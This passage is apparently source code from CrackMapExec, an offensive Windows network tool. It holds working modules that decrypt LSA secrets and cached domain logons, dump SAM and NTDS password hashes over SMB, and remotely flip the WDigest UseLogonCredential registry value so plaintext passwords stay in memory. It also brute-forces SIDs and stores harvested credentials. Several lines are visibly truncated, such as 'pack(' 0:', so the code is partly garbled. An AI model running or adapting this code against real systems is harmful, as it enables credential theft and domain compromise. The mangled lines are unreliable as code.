deriveKey(self, baseKey): 23 | # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key 24 | # Let I be the little-endian, unsigned integer. 25 | # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. 26 | # Note that because I is in little-endian byte order, I[0] is the least significant byte. 27 | # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. 28 | # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] 29 | key = pack(' 0: 137 | return data + (data & 0x3) 138 | else: 139 | return data 140 | 141 | def dumpCachedHashes(self): 142 | if self.__securityFile is None: 143 | # No SECURITY file provided 144 | return 145 | 146 | self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') 147 | 148 | # Let's first see if there are cached entries 149 | values = self.enumValues('\\Cache') 150 | if values is None: 151 | # No cache entries 152 | return 153 | try: 154 | # Remove unnecesary value 155 | values.remove('NL$Control') 156 | except: 157 | pass 158 | 159 | self.__getLSASecretKey() 160 | self.__getNLKMSecret() 161 | 162 | for value in values: 163 | logging.debug('Looking into %s' % value) 164 | record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) 165 | if record['CH'] != 16 * '\x00': 166 | if self.__vistaStyle is True: 167 | plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) 168 | else: 169 | plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) 170 | pass 171 | encHash = plainText[:0x10] 172 | plainText = plainText[0x48:] 173 | userName = plainText[:record['UserLength']].decode('utf-16le') 174 | plainText = plainText[self.__pad(record['UserLength']):] 175 | domain = plainText[:record['DomainNameLength']].decode('utf-16le') 176 | plainText = plainText[self.__pad(record['DomainNameLength']):] 177 | domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') 178 | answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) 179 | self.__cachedItems.append(answer) 180 | self.__logger.highlight(answer) 181 | 182 | def __printSecret(self, name, secretItem): 183 | # Based on [MS-LSAD] section 3.1.1.4 184 | 185 | # First off, let's discard NULL secrets. 186 | if len(secretItem) == 0: 187 | logging.debug('Discarding secret %s, NULL Data' % name) 188 | return 189 | 190 | # We might have secrets with zero 191 | if secretItem.startswith('\x00\x00'): 192 | logging.debug('Discarding secret %s, all zeros' % name) 193 | return 194 | 195 | upperName = name.upper() 196 | 197 | logging.info('%s ' % name) 198 | 199 | secret = '' 200 | 201 | if upperName.startswith('_SC_'): 202 | # Service name, a password might be there 203 | # Let's first try to decode the secret 204 | try: 205 | strDecoded = secretItem.decode('utf-16le') 206 | except: 207 | pass 208 | else: 209 | # We have to get the account the service 210 | # runs under 211 | if self.__isRemote is True: 212 | account = self.__remoteOps.getServiceAccount(name[4:]) 213 | if account is None: 214 | secret = '(Unknown User):' 215 | else: 216 | secret = "%s:" % account 217 | else: 218 | # We don't support getting this info for local targets at the moment 219 | secret = '(Unknown User):' 220 | secret += strDecoded 221 | elif upperName.startswith('DEFAULTPASSWORD'): 222 | # defaults password for winlogon 223 | # Let's first try to decode the secret 224 | try: 225 | strDecoded = secretItem.decode('utf-16le') 226 | except: 227 | pass 228 | else: 229 | # We have to get the account this password is for 230 | if self.__isRemote is True: 231 | account = self.__remoteOps.getDefaultLoginAccount() 232 | if account is None: 233 | secret = '(Unknown User):' 234 | else: 235 | secret = "%s:" % account 236 | else: 237 | # We don't support getting this info for local targets at the moment 238 | secret = '(Unknown User):' 239 | secret += strDecoded 240 | elif upperName.startswith('ASPNET_WP_PASSWORD'): 241 | try: 242 | strDecoded = secretItem.decode('utf-16le') 243 | except: 244 | pass 245 | else: 246 | secret = 'ASPNET: %s' % strDecoded 247 | elif upperName.startswith('$MACHINE.ACC'): 248 | # compute MD4 of the secret.. yes.. that is the nthash? :-o 249 | md4 = MD4.new() 250 | md4.update(secretItem) 251 | if self.__isRemote is True: 252 | machine, domain = self.__remoteOps.getMachineNameAndDomain() 253 | secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 254 | else: 255 | secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 256 | 257 | if secret != '': 258 | self.__secretItems.append(secret) 259 | self.__logger.highlight(secret) 260 | else: 261 | # Default print, hexdump 262 | self.__secretItems.append('%s:%s' % (name, hexlify(secretItem))) 263 | self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem))) 264 | #hexdump(secretItem) 265 | 266 | def dumpSecrets(self): 267 | if self.__securityFile is None: 268 | # No SECURITY file provided 269 | return 270 | 271 | self.__logger.success('Dumping LSA Secrets') 272 | 273 | # Let's first see if there are cached entries 274 | keys = self.enumKey('\\Policy\\Secrets') 275 | if keys is None: 276 | # No entries 277 | return 278 | try: 279 | # Remove unnecesary value 280 | keys.remove('NL$Control') 281 | except: 282 | pass 283 | 284 | if self.__LSAKey == '': 285 | self.__getLSASecretKey() 286 | 287 | for key in keys: 288 | logging.debug('Looking into %s' % key) 289 | value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) 290 | 291 | if value is not None: 292 | if self.__vistaStyle is True: 293 | record = LSA_SECRET(value[1]) 294 | tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 295 | plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) 296 | record = LSA_SECRET_BLOB(plainText) 297 | secret = record['Secret'] 298 | else: 299 | secret = self.__decryptSecret(self.__LSAKey, value[1]) 300 | 301 | self.__printSecret(key, secret) 302 | 303 | def exportSecrets(self, fileName): 304 | if len(self.__secretItems) > 0: 305 | fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') 306 | for item in self.__secretItems: 307 | fd.write(item+'\n') 308 | fd.close() 309 | 310 | def exportCached(self, fileName): 311 | if len(self.__cachedItems) > 0: 312 | fd = codecs.open(fileName+'.cached','w+', encoding='utf-8') 313 | for item in self.__cachedItems: 314 | fd.write(item+'\n') 315 | fd.close() -------------------------------------------------------------------------------- /core/credentials/offlineregistry.py: -------------------------------------------------------------------------------- 1 | from impacket import winregistry 2 | 3 | class OfflineRegistry: 4 | def __init__(self, hiveFile = None, isRemote = False): 5 | self.__hiveFile = hiveFile 6 | if self.__hiveFile is not None: 7 | self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) 8 | 9 | def enumKey(self, searchKey): 10 | parentKey = self.__registryHive.findKey(searchKey) 11 | 12 | if parentKey is None: 13 | return 14 | 15 | keys = self.__registryHive.enumKey(parentKey) 16 | 17 | return keys 18 | 19 | def enumValues(self, searchKey): 20 | key = self.__registryHive.findKey(searchKey) 21 | 22 | if key is None: 23 | return 24 | 25 | values = self.__registryHive.enumValues(key) 26 | 27 | return values 28 | 29 | def getValue(self, keyValue): 30 | value = self.__registryHive.getValue(keyValue) 31 | 32 | if value is None: 33 | return 34 | 35 | return value 36 | 37 | def getClass(self, className): 38 | value = self.__registryHive.getClass(className) 39 | 40 | if value is None: 41 | return 42 | 43 | return value 44 | 45 | def finish(self): 46 | if self.__hiveFile is not None: 47 | # Remove temp file and whatever else is needed 48 | self.__registryHive.close() -------------------------------------------------------------------------------- /core/credentials/sam.py: -------------------------------------------------------------------------------- 1 | from core.credentials.offlineregistry import OfflineRegistry 2 | from core.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V 3 | from core.credentials.cryptocommon import CryptoCommon 4 | from impacket import ntlm 5 | from binascii import hexlify 6 | from Crypto.Cipher import DES, ARC4 7 | from struct import pack 8 | import hashlib 9 | import ntpath 10 | import codecs 11 | import logging 12 | 13 | class SAMHashes(OfflineRegistry): 14 | def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False): 15 | OfflineRegistry.__init__(self, samFile, isRemote) 16 | self.__samFile = samFile 17 | self.__hashedBootKey = '' 18 | self.__bootKey = bootKey 19 | self.__logger = logger 20 | self.__db = db 21 | self.__host = host 22 | self.__hostname = hostname 23 | self.__cryptoCommon = CryptoCommon() 24 | self.__itemsFound = {} 25 | 26 | def MD5(self, data): 27 | md5 = hashlib.new('md5') 28 | md5.update(data) 29 | return md5.digest() 30 | 31 | def getHBootKey(self): 32 | logging.debug('Calculating HashedBootKey from SAM') 33 | QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 34 | DIGITS = "0123456789012345678901234567890123456789\0" 35 | 36 | F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1] 37 | 38 | domainData = DOMAIN_ACCOUNT_F(F) 39 | 40 | rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS) 41 | 42 | rc4 = ARC4.new(rc4Key) 43 | self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum']) 44 | 45 | # Verify key with checksum 46 | checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) 47 | 48 | if checkSum != self.__hashedBootKey[16:]: 49 | raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') 50 | 51 | def __decryptHash(self, rid, cryptedHash, constant): 52 | # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key 53 | # plus hashedBootKey stuff 54 | Key1,Key2 = self.__cryptoCommon.deriveKey(rid) 55 | 56 | Crypt1 = DES.new(Key1, DES.MODE_ECB) 57 | Crypt2 = DES.new(Key2, DES.MODE_ECB) 58 | 59 | rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack(" 0: 121 | items = sorted(self.__itemsFound) 122 | fd = codecs.open(fileName+'.sam','w+', encoding='utf-8') 123 | for item in items: 124 | fd.write(self.__itemsFound[item]+'\n') 125 | fd.close() -------------------------------------------------------------------------------- /core/credentials/secretsdump.py: -------------------------------------------------------------------------------- 1 | from impacket import winregistry 2 | from binascii import unhexlify, hexlify 3 | from gevent import sleep 4 | from core.remoteoperations import RemoteOperations 5 | from core.credentials.sam import SAMHashes 6 | from core.credentials.lsa import LSASecrets 7 | from core.credentials.ntds import NTDSHashes 8 | from impacket.dcerpc.v5.rpcrt import DCERPCException 9 | import traceback 10 | import logging 11 | 12 | class DumpSecrets: 13 | def __init__(self, connection, logger): 14 | self.__useVSSMethod = False 15 | self.__smbConnection = connection.conn 16 | self.__db = connection.db 17 | self.__host = connection.host 18 | self.__hostname = connection.hostname 19 | self.__remoteOps = None 20 | self.__SAMHashes = None 21 | self.__NTDSHashes = None 22 | self.__LSASecrets = None 23 | #self.__systemHive = options.system 24 | #self.__securityHive = options.security 25 | #self.__samHive = options.sam 26 | #self.__ntdsFile = options.ntds 27 | self.__bootKey = None 28 | self.__history = False 29 | self.__noLMHash = True 30 | self.__isRemote = True 31 | self.__outputFileName = 'logs/{}_{}'.format(connection.hostname, connection.host) 32 | self.__doKerberos = False 33 | self.__justDC = False 34 | self.__justDCNTLM = False 35 | self.__pwdLastSet = False 36 | self.__resumeFileName = None 37 | self.__logger = logger 38 | 39 | def getBootKey(self): 40 | # Local Version whenever we are given the files directly 41 | bootKey = '' 42 | tmpKey = '' 43 | winreg = winregistry.Registry(self.__systemHive, self.__isRemote) 44 | # We gotta find out the Current Control Set 45 | currentControlSet = winreg.getValue('\\Select\\Current')[1] 46 | currentControlSet = "ControlSet%03d" % currentControlSet 47 | for key in ['JD','Skew1','GBG','Data']: 48 | logging.debug('Retrieving class info for %s'% key) 49 | ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) 50 | digit = ans[:16].decode('utf-16le') 51 | tmpKey = tmpKey + digit 52 | 53 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 54 | 55 | tmpKey = unhexlify(tmpKey) 56 | 57 | for i in xrange(len(tmpKey)): 58 | bootKey += tmpKey[transforms[i]] 59 | 60 | logging.info('Target system bootKey: 0x%s' % hexlify(bootKey)) 61 | 62 | return bootKey 63 | 64 | def checkNoLMHashPolicy(self): 65 | logging.debug('Checking NoLMHash Policy') 66 | winreg = winregistry.Registry(self.__systemHive, self.__isRemote) 67 | # We gotta find out the Current Control Set 68 | currentControlSet = winreg.getValue('\\Select\\Current')[1] 69 | currentControlSet = "ControlSet%03d" % currentControlSet 70 | 71 | #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] 72 | noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) 73 | if noLmHash is not None: 74 | noLmHash = noLmHash[1] 75 | else: 76 | noLmHash = 0 77 | 78 | if noLmHash != 1: 79 | logging.debug('LMHashes are being stored') 80 | return False 81 | logging.debug('LMHashes are NOT being stored') 82 | return True 83 | 84 | def enableRemoteRegistry(self): 85 | bootKey = None 86 | try: 87 | self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos) 88 | #if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: 89 | self.__remoteOps.enableRegistry() 90 | self.__bootKey = self.__remoteOps.getBootKey() 91 | # Let's check whether target system stores LM Hashes 92 | self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() 93 | except Exception as e: 94 | traceback.print_exc() 95 | logging.error('RemoteOperations failed: %s' % str(e)) 96 | 97 | def SAM_dump(self): 98 | self.enableRemoteRegistry() 99 | try: 100 | SAMFileName = self.__remoteOps.saveSAM() 101 | self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True) 102 | self.__SAMHashes.dump() 103 | self.__SAMHashes.export(self.__outputFileName) 104 | except Exception as e: 105 | traceback.print_exc() 106 | logging.error('SAM hashes extraction failed: %s' % str(e)) 107 | 108 | self.cleanup() 109 | 110 | def LSA_dump(self): 111 | self.enableRemoteRegistry() 112 | try: 113 | SECURITYFileName = self.__remoteOps.saveSECURITY() 114 | 115 | self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote) 116 | self.__LSASecrets.dumpCachedHashes() 117 | self.__LSASecrets.exportCached(self.__outputFileName) 118 | self.__LSASecrets.dumpSecrets() 119 | self.__LSASecrets.exportSecrets(self.__outputFileName) 120 | except Exception as e: 121 | traceback.print_exc() 122 | logging.error('LSA hashes extraction failed: %s' % str(e)) 123 | 124 | self.cleanup() 125 | 126 | def NTDS_dump(self, method, pwdLastSet, history): 127 | self.__pwdLastSet = pwdLastSet 128 | self.__history = history 129 | try: 130 | self.enableRemoteRegistry() 131 | except Exception: 132 | traceback.print_exc() 133 | 134 | # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work 135 | if method == 'vss': 136 | self.__useVSSMethod = True 137 | 138 | if self.__useVSSMethod: 139 | NTDSFileName = self.__remoteOps.saveNTDS() 140 | else: 141 | NTDSFileName = None 142 | 143 | self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history, 144 | noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, 145 | useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, 146 | pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, 147 | outputFileName=self.__outputFileName) 148 | #try: 149 | self.__NTDSHashes.dump() 150 | #except Exception as e: 151 | # traceback.print_exc() 152 | # logging.error(e) 153 | # if self.__useVSSMethod is False: 154 | # logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') 155 | self.cleanup() 156 | 157 | def cleanup(self): 158 | logging.info('Cleaning up... ') 159 | if self.__remoteOps: 160 | self.__remoteOps.finish() 161 | if self.__SAMHashes: 162 | self.__SAMHashes.finish() 163 | if self.__LSASecrets: 164 | self.__LSASecrets.finish() 165 | if self.__NTDSHashes: 166 | self.__NTDSHashes.finish() -------------------------------------------------------------------------------- /core/credentials/wdigest.py: -------------------------------------------------------------------------------- 1 | from core.remoteoperations import RemoteOperations 2 | from impacket.dcerpc.v5.rpcrt import DCERPCException 3 | from impacket.dcerpc.v5 import rrp 4 | 5 | class WDIGEST: 6 | 7 | def __init__(self, logger, smbconnection): 8 | self.logger = logger 9 | self.smbconnection = smbconnection 10 | self.doKerb = False 11 | self.rrp = None 12 | 13 | def enable(self): 14 | remoteOps = RemoteOperations(self.smbconnection, self.doKerb) 15 | remoteOps.enableRegistry() 16 | self.rrp = remoteOps._RemoteOperations__rrp 17 | 18 | if self.rrp is not None: 19 | ans = rrp.hOpenLocalMachine(self.rrp) 20 | regHandle = ans['phKey'] 21 | 22 | ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 23 | keyHandle = ans['phkResult'] 24 | 25 | rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, '\x01\x00') 26 | 27 | rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') 28 | 29 | if int(data) == 1: 30 | self.logger.success('UseLogonCredential registry key created successfully') 31 | 32 | try: 33 | remoteOps.finish() 34 | except: 35 | pass 36 | 37 | def disable(self): 38 | remoteOps = RemoteOperations(self.smbconnection, self.doKerb) 39 | remoteOps.enableRegistry() 40 | self.rrp = remoteOps._RemoteOperations__rrp 41 | 42 | if self.rrp is not None: 43 | ans = rrp.hOpenLocalMachine(self.rrp) 44 | regHandle = ans['phKey'] 45 | 46 | ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 47 | keyHandle = ans['phkResult'] 48 | 49 | rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00') 50 | 51 | try: 52 | #Check to make sure the reg key is actually deleted 53 | rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00') 54 | except DCERPCException: 55 | self.logger.success('UseLogonCredential registry key deleted successfully') 56 | 57 | try: 58 | remoteOps.finish() 59 | except: 60 | pass -------------------------------------------------------------------------------- /core/database.py: -------------------------------------------------------------------------------- 1 | class CMEDatabase: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | def add_host(self, ip, hostname, domain, os): 7 | """ 8 | Check if this host has already been added to the database, if not add it in. 9 | """ 10 | cur = self.conn.cursor() 11 | 12 | cur.execute('SELECT * FROM hosts WHERE ip LIKE ?', [ip]) 13 | results = cur.fetchall() 14 | 15 | if not len(results): 16 | cur.execute("INSERT INTO hosts (ip, hostname, domain, os) VALUES (?,?,?,?)", [ip, hostname, domain, os]) 17 | 18 | cur.close() 19 | 20 | def add_credential(self, credtype, domain, username, password): 21 | """ 22 | Check if this credential has already been added to the database, if not add it in. 23 | """ 24 | cur = self.conn.cursor() 25 | 26 | cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?) AND LOWER(domain) LIKE LOWER(?) AND LOWER(username) LIKE LOWER(?) AND password LIKE ?", [credtype, domain, username, password]) 27 | results = cur.fetchall() 28 | 29 | if not len(results): 30 | cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] ) 31 | 32 | cur.close() 33 | 34 | def is_credential_valid(self, credentialID): 35 | """ 36 | Check if this credential ID is valid. 37 | """ 38 | cur = self.conn.cursor() 39 | cur.execute('SELECT * FROM credentials WHERE id=? limit 1', [credentialID]) 40 | results = cur.fetchall() 41 | cur.close() 42 | return len(results) > 0 43 | 44 | def get_credentials(self, filterTerm=None, credtype=None): 45 | """ 46 | Return credentials from the database. 47 | 48 | 'credtype' can be specified to return creds of a specific type. 49 | 50 | Values are: hash and plaintext. 51 | """ 52 | 53 | cur = self.conn.cursor() 54 | 55 | # if we're returning a single credential by ID 56 | if self.is_credential_valid(filterTerm): 57 | cur.execute("SELECT * FROM credentials WHERE id=? limit 1", [filterTerm]) 58 | 59 | # if we're filtering by host/username 60 | elif filterTerm and filterTerm != "": 61 | cur.execute("SELECT * FROM credentials WHERE LOWER(host) LIKE LOWER(?) or LOWER(username) like LOWER(?)", [filterTerm, filterTerm]) 62 | 63 | # if we're filtering by credential type (hash, plaintext, token) 64 | elif(credtype and credtype != ""): 65 | cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype]) 66 | 67 | # otherwise return all credentials 68 | else: 69 | cur.execute("SELECT * FROM credentials") 70 | 71 | results = cur.fetchall() 72 | cur.close() 73 | return results -------------------------------------------------------------------------------- /core/enum/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/CrackMapExec/cd989879d495fc14f99375934c9052658fee4264/core/enum/__init__.py -------------------------------------------------------------------------------- /core/enum/lookupsid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2012-2015 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # DCE/RPC lookup sid brute forcer example 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Reference for: 14 | # DCE/RPC [MS-LSAT] 15 | 16 | import sys 17 | import logging 18 | import codecs 19 | import traceback 20 | 21 | from impacket import version 22 | from impacket.dcerpc.v5 import transport, lsat, lsad 23 | from impacket.dcerpc.v5.samr import SID_NAME_USE 24 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 25 | from impacket.dcerpc.v5.rpcrt import DCERPCException 26 | 27 | 28 | class LSALookupSid: 29 | KNOWN_PROTOCOLS = { 30 | '139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139), 31 | '445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445) 32 | #'135/TCP': (r'ncacn_ip_tcp:%s', 135), 33 | } 34 | 35 | def __init__(self, logger, protocol, connection, maxRid=4000): 36 | self.__logger = logger 37 | self.__addr = connection.host 38 | self.__username = connection.username 39 | self.__password = connection.password 40 | self.__protocol = protocol 41 | self.__hash = connection.hash 42 | self.__maxRid = int(maxRid) 43 | self.__domain = connection.domain 44 | self.__lmhash = '' 45 | self.__nthash = '' 46 | 47 | if self.__hash is not None: 48 | self.__lmhash, self.__nthash = self.__hash.split(':') 49 | 50 | if self.__password is None: 51 | self.__password = '' 52 | 53 | def brute_force(self): 54 | 55 | logging.info('Brute forcing SIDs at %s' % self.__addr) 56 | 57 | protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)] 58 | port = protodef[1] 59 | 60 | logging.info("Trying protocol %s..." % self.__protocol) 61 | stringbinding = protodef[0] % self.__addr 62 | 63 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 64 | rpctransport.set_dport(port) 65 | if hasattr(rpctransport, 'set_credentials'): 66 | # This method exists only for selected protocol sequences. 67 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 68 | 69 | try: 70 | self.__logger.success("Brute forcing SIDs (rid:domain:user)") 71 | self.__bruteForce(rpctransport, self.__maxRid) 72 | except Exception as e: 73 | traceback.print_exc() 74 | 75 | def __bruteForce(self, rpctransport, maxRid): 76 | dce = rpctransport.get_dce_rpc() 77 | dce.connect() 78 | 79 | # Want encryption? Uncomment next line 80 | # But make SIMULTANEOUS variable <= 100 81 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) 82 | 83 | # Want fragmentation? Uncomment next line 84 | #dce.set_max_fragment_size(32) 85 | 86 | dce.bind(lsat.MSRPC_UUID_LSAT) 87 | resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 88 | policyHandle = resp['PolicyHandle'] 89 | 90 | resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) 91 | 92 | domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() 93 | 94 | soFar = 0 95 | SIMULTANEOUS = 1000 96 | for j in range(maxRid/SIMULTANEOUS+1): 97 | if (maxRid - soFar) / SIMULTANEOUS == 0: 98 | sidsToCheck = (maxRid - soFar) % SIMULTANEOUS 99 | else: 100 | sidsToCheck = SIMULTANEOUS 101 | 102 | if sidsToCheck == 0: 103 | break 104 | 105 | sids = list() 106 | for i in xrange(soFar, soFar+sidsToCheck): 107 | sids.append(domainSid + '-%d' % i) 108 | try: 109 | lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 110 | except DCERPCException, e: 111 | if str(e).find('STATUS_NONE_MAPPED') >= 0: 112 | soFar += SIMULTANEOUS 113 | continue 114 | elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: 115 | resp = e.get_packet() 116 | else: 117 | raise 118 | 119 | for n, item in enumerate(resp['TranslatedNames']['Names']): 120 | if item['Use'] != SID_NAME_USE.SidTypeUnknown: 121 | self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name)) 122 | soFar += SIMULTANEOUS 123 | 124 | dce.disconnect() -------------------------------------------------------------------------------- /core/enum/passpol.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import codecs 3 | import logging 4 | 5 | from impacket.nt_errors import STATUS_MORE_ENTRIES 6 | from impacket.dcerpc.v5 import transport, samr 7 | from impacket.dcerpc.v5.rpcrt import DCERPCException 8 | from time import strftime, gmtime 9 | 10 | class PassPolDump: 11 | KNOWN_PROTOCOLS = { 12 | '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), 13 | '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), 14 | } 15 | 16 | def __init__(self, logger, protocol, connection): 17 | self.logger = logger 18 | self.addr = connection.host 19 | self.protocol = protocol 20 | self.username = connection.username 21 | self.password = connection.password 22 | self.domain = connection.domain 23 | self.hash = connection.hash 24 | self.lmhash = '' 25 | self.nthash = '' 26 | self.aesKey = None 27 | self.doKerberos = False 28 | 29 | if self.hash is not None: 30 | self.lmhash, self.nthash = self.hash.split(':') 31 | 32 | if self.password is None: 33 | self.password = '' 34 | 35 | def enum(self): 36 | 37 | #logging.info('Retrieving endpoint list from %s' % addr) 38 | 39 | entries = [] 40 | 41 | protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)] 42 | port = protodef[1] 43 | 44 | logging.info("Trying protocol %s..." % self.protocol) 45 | rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos) 46 | 47 | dce = rpctransport.get_dce_rpc() 48 | dce.connect() 49 | 50 | dce.bind(samr.MSRPC_UUID_SAMR) 51 | 52 | resp = samr.hSamrConnect(dce) 53 | serverHandle = resp['ServerHandle'] 54 | 55 | resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) 56 | domains = resp['Buffer']['Buffer'] 57 | 58 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name']) 59 | 60 | resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) 61 | domainHandle = resp['DomainHandle'] 62 | 63 | self.logger.success('Dumping password policy') 64 | self.get_pass_pol(self.addr, rpctransport, dce, domainHandle) 65 | 66 | def convert(self, low, high, no_zero): 67 | 68 | if low == 0 and hex(high) == "-0x80000000": 69 | return "Not Set" 70 | if low == 0 and high == 0: 71 | return "None" 72 | if no_zero: # make sure we have a +ve vale for the unsined int 73 | if (low != 0): 74 | high = 0 - (high+1) 75 | else: 76 | high = 0 - (high) 77 | low = 0 - low 78 | tmp = low + (high)*16**8 # convert to 64bit int 79 | tmp *= (1e-7) # convert to seconds 80 | try: 81 | minutes = int(strftime("%M", gmtime(tmp))) # do the conversion to human readable format 82 | except ValueError, e: 83 | return "BAD TIME:" 84 | hours = int(strftime("%H", gmtime(tmp))) 85 | days = int(strftime("%j", gmtime(tmp)))-1 86 | time = "" 87 | if days > 1: 88 | time = str(days) + " days " 89 | elif days == 1: 90 | time = str(days) + " day " 91 | if hours > 1: 92 | time += str(hours) + " hours " 93 | elif hours == 1: 94 | time = str(days) + " hour " 95 | if minutes > 1: 96 | time += str(minutes) + " minutes" 97 | elif minutes == 1: 98 | time = str(days) + " minute " 99 | return time 100 | 101 | def get_pass_pol(self, host, rpctransport, dce, domainHandle): 102 | 103 | resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) 104 | 105 | min_pass_len = resp['Buffer']['Password']['MinPasswordLength'] 106 | 107 | pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength'] 108 | 109 | self.logger.highlight('Minimum password length: {}'.format(min_pass_len)) 110 | self.logger.highlight('Password history length: {}'.format(pass_hst_len)) 111 | 112 | max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'], 113 | resp['Buffer']['Password']['MaxPasswordAge']['HighPart'], 114 | 1) 115 | 116 | min_pass_age = self.convert(resp['Buffer']['Password']['MinPasswordAge']['LowPart'], 117 | resp['Buffer']['Password']['MinPasswordAge']['HighPart'], 118 | 1) 119 | 120 | self.logger.highlight('Maximum password age: {}'.format(max_pass_age)) 121 | self.logger.highlight('Minimum password age: {}'.format(min_pass_age)) 122 | 123 | resp = samr.hSamrQueryInformationDomain2(dce, 